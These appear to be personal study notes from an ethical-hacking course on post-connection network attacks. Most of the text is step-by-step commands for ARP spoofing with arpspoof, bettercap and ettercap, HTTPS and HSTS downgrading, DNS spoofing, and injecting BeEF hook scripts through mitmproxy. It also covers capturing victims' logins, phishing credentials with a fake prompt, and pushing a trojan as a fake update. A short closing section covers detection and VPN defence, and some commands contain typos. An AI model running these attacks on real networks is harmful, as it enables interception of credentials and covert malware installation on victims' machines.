Post-connection attacks

středa 20. května 2020 14:28

Installing windows 10 machine as a victim

Installation windows to virtualbox: https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/
The password to your VM is "Passw0rd!" … the virtual OS has english keyboard layout

These virtual machines expire after 90 days. We recommend setting a snapshot when you first install the virtual machine which you can roll back to later.

Discovering devices connected to the same network

Get a network ip address (example 10.0.2.*)

```
$ ifconfig
```

Show ips of all devices connected to the network and guess their vendor

```
$ netdiscoer -r NETWORK_IP/NETWORK_MASK
$ netdiscover -r 10.0.2.1/24
```

Gathering sensitive info about connected devies (names, ports, …)

```
$ nmap
```

Nmap is Cli tool.

```
$ zenmap
```

Zenmap has a GUI, where you can put a range (to Target prompt) similar to netdiscover tool. In Gui you can use a different profiles (ping scan, quick scan, intense scan, …). Quick scan and intense scan show other information, for example open ports.

Gathering more sensitiveinfo (running services, operating system, …)

Use Quick scan plus with zenmap. We are able now to see operating systems, device type, discover program and exact program version on open ports. These information are very useful for exploitation. You can browse by services to see which client uset the service on an open port.

Gaining access example - connect to phone as root

If you can see some phone in list with gathered information with open SSH port, you can use try to connect to it. If you try co connect on ssh, it will automatically install the server with the default password 'alpine' if user have not changed it yet.

```
$ ssh root@PHONE_IP
```

Default password is 'alpine'

MITM - Man-In-The-Middle

pondělí 25. května 2020 12:10

MITM - Man In The Middle attacks

ARP Poisoning/Spoofing

Request and responses flows through a MITM and all communication including password, url, etc. Can be capturem. ARP = addres resolution protocol, that allow to link IP addresses to MAC addresses.

Victim will think that 'hacker' is the router and router will think that 'hacker' is the victim.

Show ARP table (works on both Kali and Win10)

```
$ arp -a
```

Why ARP Spoofing is possible

Clients accept responses even if they did not send a request. Clients trust response withnout any form of verification.

MITM - Bettercap

pondělí 25. května 2020 12:31

Intercepting Network Traffic

Tool arpspoof to run arp spoofing attacks. Simple and realiable. Ported to most operating systems including Android and IOS. Uege is always the same.

Use: $ arpspof -i [INTERFACE] -t [CLIENT_IP] [GATEWAY_IP]
Use: $ arpspof -i [INTERFACE] -t [GATEWAY_IP] [CLIENT_IP]

Run this attacks against virtual NAT network.
Fool the victim

```
$ arpspoof -i eth0  -t 10.0.2.4 10.0.2.1
```

Fool the router

```
$ arpspoof -i eth0  -t 10.0.2.4 10.0.2.1
```

Now you can check $ arp -a again. Now requests and responses will go throw 'hacker' pc.
Allow port forwarding on 'hacker' pc.

```
$ echo l > /proc/sys/net/ipv4/ip_forward
```

Now the victim os has still internet connection, but the traffic go throw hacker pc.

Bettercap

Download link 1:
https://uploadfiles.io/joxjzflg
Download link 2:
https://doc-00-c8-docs.googleusercontent.com/docs/securesc/me9ol63pu0kdp8sl40blncdeelfevh2o/ebjhvnmq5el41jiort6nvq2d2inj0q4g/1590575700000/03309220244398476455/10975802740392150505/1GIxRgsDBAd7ytblgt0_l7v4DsaySI4VK?e=download&authuser=0&nonce=f658u7f2vuid2&user=10975802740392150505&hash=09opnopd0rdsgrch5om8t04d9a76dpm6
Framework to run network attacks. Can be used to ARP spoof targets, sniff data, bypass HTTPS redirect domain requests (DNS spoofing), inject code in loaded pages and more.

Use: $ bettercap -iface [INTERFACE]

```
$ bettercap --help
$ bettercap -iface eth0
>> help
>> help MODULE to (to see help for a specific module)
>> net.probe on
>> help
>> net.show
```

ARP Spoofing using Bettercap (MITM)

pondělí 25. května 2020 13:24

Intercept and view all captured data

```
$ bettercap -iface eth0
>> help.arp.spoof
>> set arp.spoof.fullduplex true
>> set arp.spoof.targets TARGET_IP
>> set arp.spoof.targets TARGET_IP1,TARGET_IP2,…
>> arp.spoof on
>> help (make sure net.probe, net.recon, arp.spoof are running)
```

On victim: $ arp -a
You can see that MAC address of router is MAC address of 'hacker' pc.

Spying on Network devices (Capturing passwords, visited websites, …etc)

```
$ bettercap -iface eth0
>> help net.sniff
>> net.sniff on
```

Now go to victim os and generate som traffic, for example open browser and to someting. For example vulnweb.com. You can try to login and on the Kali you will see captured login and password.

MITM - Ettercap

neděle 28. června 2020 20:36

Ettercap (NOT Bettercap) is another tool for MITm attacks with basic but reliable features. Built-in sniffer. Supports plugins for dns spoofing ..etc. Supports custom filters and more. This tool comes preinstalled with Kali, we just need to do come configurtaiton.

```
$ leafpad /etc/ettercap/etter.conf
# make sure this iptables section is uncommented
```

```
# to not se any warning replace number at ec_uid, and ec_gui to 0
ec_uid = 0
ec_gid = 0
# save, quit and we are ready to use this tool
$ ettercap --help
# run ettercap in text mode, quite any specifiy no target (///)
$ ettercap -Tq ///
# see inline help
$ h
# show host list
$ l
```

ARP Spoofing using Ettercap, bypass HTTPS (MITM)

neděle 28. června 2020 21:02

Basic arp spoofing

Make sure you have some oher machine in the same network that you can test MITM on. I use Kali as virtual machine an Windows 10 victim machine in the same NAT netwrok. Make sure both have internet access and are able to ping on themself.

```
$ ipconfig $ ipconfig $ arp -a
USAGE: $ ettercap [OPTIONS] [TARGET1] [TARGET2]
# run ettercap in text interface, quite mode, and arp mode (get from --help)
# INT is interface connected to the same netwrok as victim, not the monitor mode interface
# targets are specified into two groups, group can be replace with /// as ANY
# target has this structure: MAC/IPV4/IPV6/PORT … if some is null, it means ANY
# the idea is to put default gateway on target1 group and target victim on the target2 group
# you can also use ranges such as /10.20.215.9-20//
# you cal also use comma such as /10.20.215.9,10.20.215.10//
$ ettercap -Tq -M arp:remote -i INT /TARGET1_IP_GROUP// /TARGET2_IP_GROUP//
```

Now lets go to the target victim and look at ar table (arp -a). The mac address of the default gateway has changed to out hacker machine. On the victim machine try to to connect to some http website and try to login somewhere. On the Kali machine you should see username, password and page where user tried to log in.

Setting up SSLstrip manually to bypass HTTPS & sniff data from HTTPS websites

SSLstrip is a proxy that downgrade https to https. Can be used with any program, not just ettercap. Use ettercap as a spoofer and a basic sniffer. Run sslstrip manually to downgrae HTTPS requests to HTTP. Flush iptables -> addiptables rule to redirect packets to sslstrip -> start sslstrip to dowgrade https -> start ettercap to poison target(s). Runs os port 10000 by default. We want to redirect pockaets from 80 to 10000.

```
$ iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
# sslstrip help
$ sslstrip --help
# run this rool
$ sslstrip
```

If you want to capturing some connection, you first need to become a MITM.

```
# become MITM using ettercap, -S -> not to create self-signed ssl certificate
$ ettercap -Tq arp:remote -i eth0 -S /10.20.215.9// /10.20.215.1//
```

Now you can try to generate some https traffic on victim machine.

After end with this attack, remove the addted iptables rule

```
$ iptables -t nat --flush
```

Automatically ARP spoofing new clients

pondělí 29. června 2020 13:05

Ettercap has a number of plugins. Plugins can be used to:

- Auto-add new clients -> **autoadd**
- Re-poison clients after arp broadcast -> **repoison_arp**
- NS spoof targets -> **dns_spoof**
- And more

```
# become MITM using ettercap to whole subnet /// ///, -S -> not to create self-signed ssl certificate
$ ettercap -Tq arp:remote -i wlan0 -S /// ///
# show help
$ h
# show hosts
$ l
# see plugin [0] = inactive
$ p
# activate autoadd plugin
$ autoadd
```

Now you can connect with some victim machine to a netwrok and it will be atomatically poisoned.
You can also try to connect to https and sniff password (by running ettercap).

```
# show hosts
$ l
```

Custom spoofing script

středa 27. května 2020 11:39

Create an file with following commands (root/save as spoof_script.cap)

```
net.probe on
set arp.spoof.fullduplex true
set arp.spoof.targets TARGET_IP
arp.spoof on
net.sniff on
```

Use the custom spoofing script

```
Use: $ bettercap -iface [INTERFACE]
$ bettercap --help
$ bettercap -iface INTERFACE -caplet FILENAME
$ help
```

Now generate some traffic on spoofed device (login somewhre or something like that).
Now you can see all spoofed information on hacker machine.
This only works with http.

```
$ exit
```

HTTPS & how to Bypass it

středa 27. května 2020 11:53

Data in http are sent as plain text. A MITM can read and edit request and responses, which is not secure. Solution is by using HTTPS. HTTPS is an adaptation of HTTP. Encrypt HTTP using TLS (transport layer security) or SSL (secure sockets layer). Solution is downgrade HTTPS request to HTTP by MITMb by bettercap caplet hstshijack. Extract that zip file to /usr/share/bettercap/caplets/. Delete old version from there if existing.

Modify (or create new) *.cap file from previous page to this:

```
net.probe on
set arp.spoof.fullduplex true
set arp.spoof.targets TARGET_IP
arp.spoof on
set net.sniff.local true
net.sniff on
```

Bypassing HTTPS

Use: $ bettercap -iface [INTERFACE]

```
$ bettercap --help
$ bettercap -iface INTERFACE -caplet FILENAME
```

Use hstshijack caplet

```
$ caplets.show
```

To use the caplet just type its name

```
$ hstshijack/hstshijack
```

Now generate some HTTPS traffic on spoofed device (login somewhre or something like that). Try normal browser with no cached data. Try also on anonymous browser tab.

Now you can see all spoofed information on hacker machine.

This is not working on very famous pages like facebook, twitter and so on, because it is using HSTS.

HSTS & how to Bypass it

středa 27. května 2020 12:17

HSTS is HTTP Strict transport security. Used by Facebook, Twitter and few other famous websites. Problem is that modern browsers are hard-coded to only load a list of HSTS websites over https. Solution: trick the browser into loading a different website. Replace all links fot HSTS websistes with similar links. Example facebook.com ->facebook.corn, twitter.com -> twiter.com, and so on.

Open /usr/share/bettercap/caplets/hstsjack/hstsjack.cap

Targets are url that we want to replace. Replacements are replacement for original urls. Obfuscode and encode are false that let the code as it is. Payloads define the JS injected. You can modify the replacement here.

Bypassing HSTS

Use: $ bettercap -iface [INTERFACE]
$ bettercap --help
Use file from previous page.
$ bettercap -iface INTERFACE -caplet FILENAME
Use hstshijack caplet
$ caplets.show
To use the caplet just type its name
$ hstshijack/hstshijack

Now generate some HSTS traffic on spoofed device, try to login to facebook (even with incorrect pass). Works only if user looking for facebook or facebook.com with some search (for excample google). If the user go to facebook.com directly via url row, it will not be working. Try normal browser with no cached data. Try also on anonymous browser tab.
Now you can see all spoofed information on hacker machine.

Dial TCP error:

Solution: https://www.youtube.com/watch?v=XoUPHF-wyMc&feature=youtu.be

DNS Spoofing

středa 27. května 2020 12:36

DNS Spoofing - Controlling DNS request on the netwrok (Bettercap)

With a MITM we can redirect user requesting to some url to another website.

```
$ service apache2 start
$ ifconfig -> [IP]
```

In web browser try to put IP
Go to /var/www/html/
You can ut fake website here.

```
Use: $ bettercap -iface [INTERFACE]
$ bettercap --help
```

Use file from previous pages.

```
$ bettercap -iface INTERFACE -caplet FILENAME
$ help (see that dns.spoof does not running)
$ help dns.spoof
$ set dns.spoof.all true
# spoof on google and seznam domain
$ dns.spoof.domains google.com, seznam.cz, *.google.com
$ dns.spoof on
```

Now when user will request google.com or seznam.cz, then he will be navigated to hackers /var/www/html/index.html

DNS Spoofing using Ettercap plugin

```
$ leafpad /etc/ettercap/etter.dns
# scroll down and modify A records
WEBSITE A MY_IP
$ service apache2 start
# start ettercap with plugin -P
$ ettercap -Tq arp:remote -i wlan0 -S -P dns_spoof /GATEWAY_IP// /VICTIM_IP//
```

Now you can go to victim, open browser on WEBSITE and it will be redirect to MY_IP webserver.

Injecting JS code to all pages

pátek 29. května 2020 10:12

Inject JS code in loaded pages. Code gets executed by the target browser. This can be used to replace links, replace iages, insert html elements, hook target browser to exploitation frameworks and more.

File alert.js contains:
Alert('javascript test');

Go to /usr/share/bettercap/caplets/hstshijack
Edit hstshijack.cap
Add path to script to payloads (separated by comma) [*:PATH/alert.js]

Use: $ bettercap -iface [INTERFACE]
$ bettercap --help
Use file from previous pages.

```
$ bettercap -iface INTERFACE -caplet FILENAME
$ hstshijack/hstshijack
# script should be in payloads
# alert.js will be now injected to any web page user will request
```

Try to test againts HTTP, HTTPS and HSTS page.

Bypass Router-side security

pondělí 29. června 2020 13:27

Bypassing router-side security &poisoning target without triggering alarms

Router can perfomr ARP watch and keep eye if arp spoofing is performed. We need to use one-way spoofing. First fool the victim and then send request to the router. Disadvantages is that hacker machine will not be able to play around with responses, but it will be still able to capture all communication.

```
# start ettercap with one way arp spoofing
$ ettercap -Tq arp:oneway -i wlan0 -S   /VICTIM_IP// /GATEWAY_IP//
```

Very good is to run wireshark and sniff data via this. Go to target computer and log into some services and analyze captured data. Filter http and look for POST requests.

Wireshark and MITM

pátek 29. května 2020 10:32

Wireshark is a network protocol analyser. Designed to help netwrok administrator to keep track of what is happening in their network. It logs packets that flow through the selected interface and analyse all the packets. When we are the MITM, wireshark can be used to sniff and analyse traffic sent or received by targets. It is not a hacking tool, captures only traffic that flow through you device.

Use: $ bettercap -iface [INTERFACE]
$ bettercap --help
Use file from previous pages.
$ bettercap -iface INTERFACE -caplet FILENAME

Now we can see captured traffic of spooffed device in hackers wireshark.

Sniff and analyse data with Wireshark

See options … can specified
Run sniffing on some interface.

Filters, tracing and dissecting packets

Very intuitive.

Capturing passwords & anything sent by any device in the network

Generate some traffic on spooffed device. Login into some web page over HTTP. If the page uses HTTPS, in the previous pages.

We can store captured data to output by modify the caplet file for example to:

```
net.probe on
set arp.spoof.fullduplex true
set arp.spoof.targets TARGET_IP
arp.spoof on
set net.sniff.local true
set net.sniff.output /root/capturefile.cap
net.sniff on
```

Now you can open /root/capturefile.cap in wireshark and analyse the data.

MITMproxy (manually modify packets)

pondělí 29. června 2020 14:11

Man-in-the-middle proxy. Can intercept, analyse, modify and replay packet flows. Supports a number of proxy modes. TLS cert generation and more. This tool gives you a freedom to do whatever you want.

Installing MITMproxy

Download packagge from https://github.com/mitmproxy/mitmproxy/releases, mitmproxy-2.0.2-linux.tar.gz. Extract this archiv into /opt/mitmproxy. It contains three files: mitmdump, mitmproxy and mitmweb.
MITMproxy works in two modes:
- Explicit: user connects directly to the proxy
- Transparent: data is redirected to the proxy

Using MITMproxy in Explicit mode (use to build an attack)

```
$ cd /opt/mitmproxy/
$ ./mitmweb
```

# GUI of this tool runs on 172.0.0.1:8081
# Go to browser preferences -> advanced -> network -> settings -> use manual proxy configuration (HTTP proxy is 127.0.0.1:8080)
# now everytime i do something in browser, data will go first through the proxy
# now you can try to open new tab (on kali machine) and generate some traffic, you should see then packets in he 127.0.0.1:8081 tab, here we can see what are we able to capture, modify and prepare and build our own attacks
AFTER you are done with the testing, restore proxy setting in you browser on kali

Analysing, filtering and highlighting flows

Analyze the captured data we can see in itmproxy gui on 172.0.0.1:8081. On response of some packet you can see html code of the response. Click into to search field to get a help fr filtering. Use ~a option to filter assets. On click you can even download it. Filter only javascript files with ~a .js. Filter specific method with ~m POST, ~m GET.
In Hightlist field you can put the same such as ~a .js and will highlight it in filtered packets.

MITMproxy (intercept connection)

pondělí 29. června 2020 14:50

Intercepting Network flows

Intercept and edit packets using mitmproxy. Use an intercept field on in mitmweb GUI on 127.0.0.1:8081. You can see help when click into to intercept field. Generate a capture some traffic as described in previous page. Type ~m POST to the intercept field to intercept just POST packets. Now generate some traffic again an see that POST packets are now highlighted in the captured data. After click these packets, you can see some options on the Flow tab (you can resume it, download, repeat, abort,…).

Modifying Responses & Injecting JS manually

Very good place to inject JS code is after </body> html tag. In mitmweb GUI filter with ~s and intercept with ~bs </body>. Lets just refres page to generate a traffic and on mitmwebgui you can see oragne capture packet based on thefilters. Open response tab and manually edit the html code there! Add <script>alert('test');</script> after </body> tag. Now we are ready to forward this to user. Save it with the check button. I this button is not visible, go to details tab and back to response). Click modified packet and click Resume on Flow tab. In the tab that is waiting for response will appera a JS window with a test alert.

Intercepting & modifing responses in transparent mode

Become the MITM (arp spoofing, fake ap, ..etc). Redirect data from port 80 to mitmproxy. Run mitmproxy in transparent mode.

```
# become the mitm using ettercap
$ ettercap -Tq -M arp:remote -i eth0 -S /TARGET// /GATEWAY//
# redirect any port to port where mitmproxy is running
$ iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
# run mitmproxy web gui in transparent mode (no browser configuration as previous pages)
$ cd /opt/mitmproxy
$ ./mitmweb --transparent
# now go to 172.0.0.1:8081/#/flows in browser and on victim machine generate some traffic, check if you are able to capture in in the mitmweb window
```

After done with attack, remove tule in iptables.

```
$ iptables -t nat --flush
```

MITMproxy (BeEF, manually editing responses)

čtvrtek 9. července 2020 10:04

Manually Editing reponses &injecting BeEF's code on the fly

We are now mitm with ettercap and mitmproxy and both is running as described in previous page.
We are capturing traffic generate by victim machine.

Run BeEf (described also in Social engineering section). In terminal window you will get a JS code similar to this <script src="http://127.0.0.1:3000/hook.js"></script>. Replace the the IP with IP of your computer and the code is ready to be used. Copy it and go to mitmproxy web gui.
After vicitm generate some traffic, you are intercept its connection with
~bs </body> in the intercepting field in mitmweb gui.
Paste this code to some intercept packet after </body> tag. Save this response and resume it.
If you cannot see the save button, it is a bug, press tab and go back to the editing response window, the the save button should appear.

After resuming this packet with injected js, you should see te victim machine in your online browsers section in BeEF. Go to commands and you can social engineer it. Run for xample simple alert propmt to confirm it is working.

How to build an attack

1) Analyse normal behaviour
2) Use a basic setup to test the simplest form of the attack
3) Start with a simple case that can be extended to run your final attack
4) Test the simple case against the target the actual target setup
5) Test the more complex case against the target setup

MITMproxy (BeEF, automatically editing responses)

čtvrtek 9. července 2020 10:19

Editing responses automatically based on regex

In this page we assume we followed the steps in previous pages and we are the mitm and able to capture victim traffic in mitmweb gui and BeEF.

```
# run another mitmproxy tool, mitmdump in transparent mode, and replace argument
$ cd /opt/mitmporxy
# ./mitmdump --transparent --replace :PATTERN:TARGET:REPLACEMENT
$ ./mitmdump --transparent --replace :~s:"</body>": "<script src="http://YOUR_IP:3000/hook.js"></script>
</body>"
```

After run this command and generate some traffic on victim machine, you should be able to see it hooked in BeEF gui in online browsers.

With injected JS you can do anything you want, replace urls, download file, replace images, customize website, some alert boxes, fake updates, ..etc.

Stealing login info using fake login propmt and BeEF

In this step you should have hooked some victim and be able to see it in BeEF page in online browsers category. If you do not, check BeEF pages in social engineering section or netwrok hacking - post connection attacks section.

After click on the target victim in BeEF window, go to commands tab and open some module. Raw JavaScript allow you to run any JS code for example. Spyder Eye module allow you to get a screenshot of target machine. Redirect Browser plugin allow you to redirect the target person to anywhere.

Pretty Theft from Social Engineering category allow you to steal user credentials. You can show a fake page to user and ask him to login again to page that looks exactly like facebook for example.

Hacking windows 10 using a fake update

In this step you should have hooked some victim and be able to see it in BeEF page in online browsers category. If you do not, check BeEF pages in social engineering section or netwrok hacking - post connection attacks section.
In this step you should have prepared your trojan, this text is about how to deliver it to the user. How to create a trojan is described in the gaining access section on custom attack scripts section. The delivery way uses JS so it works on all systems, but the trojan must be executable on your target victim.
In Social Engineering category Clippy plugin is used for it. See its required field and just press execute. On the victim machine it should be shown as available update. Once the user download and run it, it will open backdoor to his systém.

Detection and Security

středa 3. června 2020 9:24

Detection ARP Poisoning attacks

XArp - http://www.xarp.net/#download

ARP spoofing is possible because clients accept responses even if they did not send a request. Clients trust response without any form of verification. Try to use on windows machine.

Detecting suspicios Activities in the network

Detecting with Wireshark. Go to preferences -> ARP/RARP and enable checkbox at Detect ARP request storm. Go to Analyze -> Expert Information and you can see ARP packet storm detected (if exists) and other suspicious activities.

```
$ arp -a
# Dynamic entries can be modified, static can not
# In a smal network can be easilly changed to statis, in companies it is not recommended
```

Preventing MITM attacks (method 1)

Detection with analysing arp tables, tools such as Xarp and Wireshark. Problems are that detection is not the same as prevention and only works for ARP spoofing.
Solution is to ecrypt traffic. Use HTTPS everywhere plugin and use a VPN.

HTTPS Everywhere plugin (free)

Just install this plugin via browser plugin add-ons and extension store. After enable this plugin, the downgraded connection from HTTPS to HTTP by bettercap will be upgrade back to HTTPS autmatically. It is not perfect because it helped only on websites that supports HTTPS. On website that use HTTP we are still able to capture sensitive data. This also not prevents computer by DNS spoofing attacks.

VPN (virtual private network) (example: https://zsvpn.com/**)**

Create an encrypted tunnel between your pc and requested vpn server. Data are sended in this encrypted tunnel and can not be captured and readed by MITM. VPN provide extra layer of encryption, more privacy & anonymity, bypass censorship and protection from hackers. But the VPN server now become the MITM, so you should choose VPN provider that you can trust. Use reputable VPN, avoid free providers, make sure they keep no logs, use https everywhere. Use the VPN encryption + TLS for encrypt data even for VPN provider.